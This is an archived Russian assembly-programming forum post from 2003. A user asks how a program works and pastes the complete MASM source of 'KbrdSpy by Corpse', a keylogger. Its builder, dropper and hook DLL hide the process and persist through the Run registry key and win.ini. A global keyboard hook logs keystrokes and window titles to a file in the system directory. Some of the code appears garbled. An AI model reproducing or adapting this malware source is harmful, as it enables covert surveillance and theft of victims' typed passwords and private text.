· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.WIN32 —› Помагите решить такую траблу :

Посл.отвђт Сообщенiе


Дата: Янв 4, 2003 03:14:09

Помагите решить такую траблу :

Имеются 3 исходника main.asm ,sys98exe.asm ,sys98dll.asm ;хотя названия вообщем тне важны файлы приведу ниже ,а требуется мне понять
как эти выдумщики замутили вот такую вот гадость-->
У в откомпилироанном виде один ЕХЕ , но потом он сам каким то образом мутит еще ЕХЕ , а кнему еще и та дллка клеится!!!

Я вот ихочу узнать как это у них все получается програмно

ПОМОГИТЕ ПЛИИЗЗЗ!!!

main.asm

.486
.model flat,stdcall
option casemap:none

include d:\program\masm\bin\include\windows.inc
include d:\program\masm\bin\include\user32.inc
include d:\program\masm\bin\include\kernel32.inc
includelib d:\program\masm\bin\lib\user32.lib
includelib d:\program\masm\bin\lib\kernel32.lib
include d:\program\masm\bin\include\comdlg32.inc
includelib d:\program\masm\bin\lib\comdlg32.lib
include d:\program\masm\bin\include\advapi32.inc
includelib d:\program\masm\bin\lib\advapi32.lib

DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDC_BUTTON equ 3001
IDC_BUTTON1 equ 3008
IDC_EXIT equ 3002
IDC_EDIT equ 3005
IDC_CHECKBX equ 2021
MAXSIZE equ 26

.data
DlgName db "MD",0
AppName db "KbrdSpy by Corpse тестовая версия.",0
buffer777 db MAXSIZE dup (0)
filepatch db 4608 dup (0) ;место для патча
filepatch1 db 0C7h,05h,6Fh,46h,40h,00h,00h,00h,00h,00h,0C7h,05h,73h,46h,40h,00h,00h,00h,00h,00h,0C7h,05h,77h,46h,40h,00h,00h,00h,00h,00h,10 dup (90h), 0E9h,0C4h,84h,0FFh,0FFh
tt5 db 0C6h,05h,0A4h,10h,40h,00h,75h,0
cst2 db "sys98.exe",0
mess1 db "Имя файла должно быть 1-12 символов",0ah,0dh,"(Только в пробной версии)",0
cmplt db "Шпион создан.",0
aboutmsg db "Пробная версия.",0ah,0dh,"5 августа 2002 г.",0

.data?
hFile HANDLE ?
hInstance HINSTANCE ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax

invoke DialogBoxParam, hInstance, ADDR DlgName,NULL,addr DlgProc,NULL
invoke ExitProcess,eax

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam !=0
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke GetDlgItemTextA,hWnd,IDC_EDIT,ADDR buffer777,200
.if eax>0ch
invoke MessageBox,NULL,ADDR mess1,ADDR AppName,MB_ICONWARNING
ret
.elseif eax==0
invoke MessageBox,NULL,ADDR mess1,ADDR AppName,MB_ICONWARNING
ret
.endif

mov edi,offset buffer777
mov esi,offset filepatch1
add esi,6
mov edx,[edi]
mov [esi],edx
add edi,4
add esi,10
mov edx,[edi]
mov [esi],edx
add edi,4
add esi,10
mov edx,[edi]
mov [esi],edx
invoke IsDlgButtonChecked,hWnd,IDC_CHECKBX
.if eax!=BST_CHECKED
add esi,4
mov ecx,7
mov edi,offset tt5
xchg edi,esi
rep movsb
.endif
invoke _lcreat, addr cst2, 4
mov hFile,eax
invoke _lwrite, hFile,ADDR filepatch,4608
invoke _llseek,hFile, 0f0fh,0
invoke _lwrite, hFile,ADDR filepatch1,45
invoke CloseHandle,hFile
invoke MessageBox,NULL,ADDR cmplt,ADDR AppName,MB_ICONWARNING
call ExitProcess
.ELSEIF ax==IDC_EXIT
call ExitProcess
.ELSEIF ax==IDC_BUTTON1
invoke MessageBox,NULL,ADDR aboutmsg,ADDR AppName,MB_ICONWARNING
ret
.ENDIF
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp
end start

sys98exe.asm

.486
.model flat,stdcall
option casemap:none
include d:\program\masm\bin\include\winmm.inc
include d:\program\masm\bin\include\windows.inc
include d:\program\masm\bin\include\masm32.inc
include d:\program\masm\bin\include\user32.inc
include d:\program\masm\bin\include\kernel32.inc
include d:\program\masm\bin\include\advapi32.inc
includelib d:\program\masm\bin\lib\user32.lib
includelib d:\program\masm\bin\lib\kernel32.lib
includelib d:\program\masm\bin\lib\masm32.lib
includelib d:\program\masm\bin\lib\advapi32.lib
includelib d:\program\masm\bin\lib\winmm.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.DATA
dllplace db 10240 dup (0) ; dll!
errormsg db "ERROR",0dh,0ah,0
AppName db "winsys98",0
ClassName db "sysClass",0
fnini db "win.ini",0
kernel32 db "kernel32.dll", 0
func db "RegisterServiceProcess", 0
arunknm db "Software\Microsoft\Windows\CurrentVersion\Run\",0
znak db "winsys98",0
exefile db "sys98.exe" ,0
dllfile db "sys98.dll" ,0
logfile db "shelzlog.txt" ,0
slash db 5ch,0
IconName db "sysIcon",0
funcKEY db "CorpseProc",0
crps1 db "run",0
crps3 db "windows",0


.DATA?
hInstance dd ?
CommandLine dd ?
pKey dd ?
d576 dd ?
cst2 db 400h dup(?)
cst8 db 400h dup(?)
d577 dd ?
cmd dd ?
hookC dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
WinDir db 370h dup(?)
cst66 db 400h dup(?)


.CODE
start:
mov [esp+4],56h
invoke FindWindow,0,addr AppName
byte 83h
word 00F8h
jnz exitt
mov d576,0
mov hookC,0
invoke GetModuleHandle, ADDR kernel32
word 0C00Bh
jz dalsh
invoke GetProcAddress, eax, ADDR func
word 0C00Bh
jz dalsh
dword 0D0FF006A016Ah
dalsh:
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr slash
push offset WinDir
call gll3
push offset logfile
call gll3
invoke lstrcpy, addr cst8, addr WinDir
invoke lstrcat, addr cst8, addr dllfile
mov edi,1
cmp edi,0
je winini
invoke WritePrivateProfileString,ADDR crps3,ADDR crps1,ADDR exefile,ADDR fnini
winini:
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr arunknm, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr znak, NULL, REG_SZ, addr exefile, sizeof exefile
.IF (eax != 0)
invoke _lopen, addr cst2, 1
mov cmd,eax
.IF eax == (-1)
invoke _lcreat, addr cst2, 4
mov cmd,eax
.ELSE
call ff2
.ENDIF
.IF cmd != (-1)
invoke _lwrite, cmd, addr errormsg, sizeof errormsg
invoke _lclose, cmd
.ENDIF
.ENDIF
.ELSE
invoke _lopen, addr cst2, 1
mov cmd,eax
.IF eax == (-1)
invoke _lcreat, addr cst2, 4
mov cmd,eax
.ELSE
call ff2
.ENDIF
.IF cmd != (-1)
invoke _lwrite, cmd, addr errormsg, sizeof errormsg
invoke _lclose, cmd
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
invoke lstrcat,addr WinDir,addr exefile
invoke GetModuleFileName,NULL,addr cst66,sizeof cst66
invoke CopyFile,addr cst66,addr WinDir,FALSE
invoke _lcreat, addr cst8, 0
mov cmd,eax
.IF cmd != (-1)
invoke _lwrite, cmd, addr dllplace,10240
invoke _lclose, cmd
.ENDIF
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
exitt: invoke ExitProcess,eax
ff2:
invoke _llseek, cmd, 0, 2
byte 0c3h
byte 0cch
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg == WM_CREATE
invoke LoadLibrary, addr dllfile
mov d576,eax
.IF (d576 ==0)
invoke _lopen, addr cst2, 1
mov cmd,eax
.IF eax == (-1)
invoke _lcreat, addr cst2, 4
mov cmd,eax
.ELSE
call ff2
.ENDIF
.IF cmd != (-1)
invoke _lwrite, cmd, addr errormsg, sizeof errormsg
invoke _lclose, cmd
.ENDIF
invoke PostexittMessage,NULL
xor eax,eax
ret
.ELSE
invoke GetProcAddress, d576, addr funcKEY
mov d577,eax
.IF (d577 ==0)
invoke _lopen, addr cst2, 1
mov cmd,eax
.IF eax == (-1)
invoke _lcreat, addr cst2, 4
mov cmd,eax
.ELSE
call ff2
.ENDIF
.IF cmd != (-1)
invoke _lwrite, cmd, addr errormsg, sizeof errormsg
invoke _lclose, cmd
.ENDIF
invoke PostexittMessage,0
xor eax,eax
ret
.ELSE
invoke SetWindowsHookEx, 2, d577, d576, 0
mov hookC, eax
.IF (hookC == 0)
invoke _lopen, addr cst2, 1
mov cmd,eax
.IF eax == (-1)
invoke _lcreat, addr cst2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, 2
.ENDIF
nop
.IF cmd != (-1)
invoke _lwrite, cmd, addr errormsg, sizeof errormsg
invoke _lclose, cmd
.ENDIF
invoke PostexittMessage,NULL
xor eax,eax
ret
.ENDIF
.ENDIF
.ENDIF
.ELSEIF uMsg == WM_DESTROY
invoke FreeLibrary, d576
invoke UnhookWindowsHookEx, hookC
invoke PostexittMessage,NULL
xor eax,eax
ret
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
push ebp
add esp,2
byte 0c3h
WndProc endp
gll3:
pop edi
push offset cst2
call lstrcat
push edi
byte 0c3h
END start

sys98dll.asm

.386
.model flat, stdcall
option casemap :none
include d:\program\masm\bin\include\windows.inc
include d:\program\masm\bin\include\user32.inc
include d:\program\masm\bin\include\kernel32.inc
include d:\program\masm\bin\include\masm32.inc
includelib d:\program\masm\bin\lib\user32.lib
includelib d:\program\masm\bin\lib\kernel32.lib
includelib d:\program\masm\bin\lib\masm32.lib

.data
hc2 dd ?
lastkprsd db 32h dup(?)
bk65 dd ?
dlinna dd ?
dlinna7 dd ?
timehms db "hh : mm : ss",0
prbl db 20h,0
buf db 5dch dup(?)
buf3 db 3e8h dup(?)
DopStr1 db 0dh,0ah,"End write ",0
DopStr2 db 76 dup (0)
RegValue2 db "shelzlog.txt" ,0
buf1 db 5dch dup(?)
buf2 db 3e8h dup(?)
comstr9 db 1024 dup (?)
slash db 5ch,0
datetmy db "dd.MM.yyyy",0
cmd1 dd ?
dah1 db 0dh,0ah,0
crpsapp db "This log generated - KbrdSpy by Corpse",0dh,0ah,0
ctr1 db 1; :)
dkk db 50 dup(?)

.code
DLLEntry proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.IF reason == DLL_PROCESS_ATTACH
invoke GetSystemDirectory , addr comstr9, sizeof comstr9
invoke rtrim, addr comstr9, addr comstr9
invoke lstrcat,addr comstr9,addr slash
invoke lstrcat, addr comstr9, addr RegValue2
mov dlinna,0
mov dlinna7,0
mov bk65,0
mov eax, TRUE
ret
.ELSEIF reason == DLL_PROCESS_DETACH
.IF (bk65 != 0)
invoke lstrcpy, addr buf1, addr buf
mov byte ptr [ctr1],0
call CorpseProc
.ENDIF
.ENDIF
ret
DLLEntry Endp
CorpseProc proc nCode0: DWORD, wParam0: WPARAM, lParam0: LPARAM
cmp byte ptr [ctr1],0
je writetf
.IF nCode0 == HC_ACTION
mov eax, lParam0
dword 2510E8C1h
dword 00008000h
.IF (eax == 0)
mov bk65,1
.IF dlinna7 == 0
invoke GetForegroundWindow
.IF eax != 0
invoke SendMessage, eax, WM_GETTEXT, 1024, addr buf2
.ENDIF
invoke GetDateFormat, NULL, NULL, NULL, addr datetmy, addr buf3, sizeof buf3
invoke lstrcpy, addr buf, addr buf3
call ff4
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr timehms, addr buf3, sizeof buf3
invoke lstrcat, addr buf, addr buf3
call ff4
invoke lstrcat, addr buf, addr buf2
invoke lstrcat, addr buf, addr dah1
invoke lstrlen, addr buf
mov dlinna7, eax
.ENDIF
invoke GetKeyNameText, lParam0, addr dkk, sizeof dkk
invoke lstrcpy, addr lastkprsd, addr dkk
invoke lstrcat, addr buf, addr dkk
word 146Ah
mov edi,esp
add edi,4
invoke lstrcat, addr buf, edi
invoke lstrlen, addr dkk
add dlinna, eax
add dlinna, 3
.IF dlinna >=64h
invoke lstrcat, addr buf, addr dah1
mov eax, dlinna
add dlinna7, eax
mov dlinna,0
.ENDIF
.IF dlinna7 >=666h
invoke lstrcpy, addr buf1, addr buf
mov dlinna,0
mov dlinna7,0
call writetf
.ENDIF
mov eax,0
ret
.ENDIF
.ENDIF
invoke CallNextHookEx, hc2 ,nCode0, wParam0, lParam0
ret
byte 0c3h
writetf:
mov byte ptr [ctr1],1
invoke lstrcat, addr buf1, addr DopStr1
call ff2
call ff2
invoke _lopen, addr comstr9, OF_WRITE
mov cmd1,eax
.IF eax == (-1)
invoke _lcreat, addr comstr9, 4
mov cmd1,eax
invoke _lwrite, cmd1, addr crpsapp,40
call ff4
.ELSE
call ff4
.ENDIF
.IF cmd1 != (-1)
invoke lstrlen, addr buf1
;;;
invoke _lwrite, cmd1, addr buf1, eax
invoke _lclose, cmd1
.ENDIF
ret
ff2:
invoke lstrcat, addr buf1, addr dah1
byte 0c3h
ff3:
invoke lstrcat, addr buf1, addr buf
byte 0c3h
ff4:
invoke _llseek, cmd1, 0, 2
byte 0c3h
CorpseProc endp
End DLLEntry

А лучше ответы мыльте мне сюда плизз :emerald@mail2k.ru


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072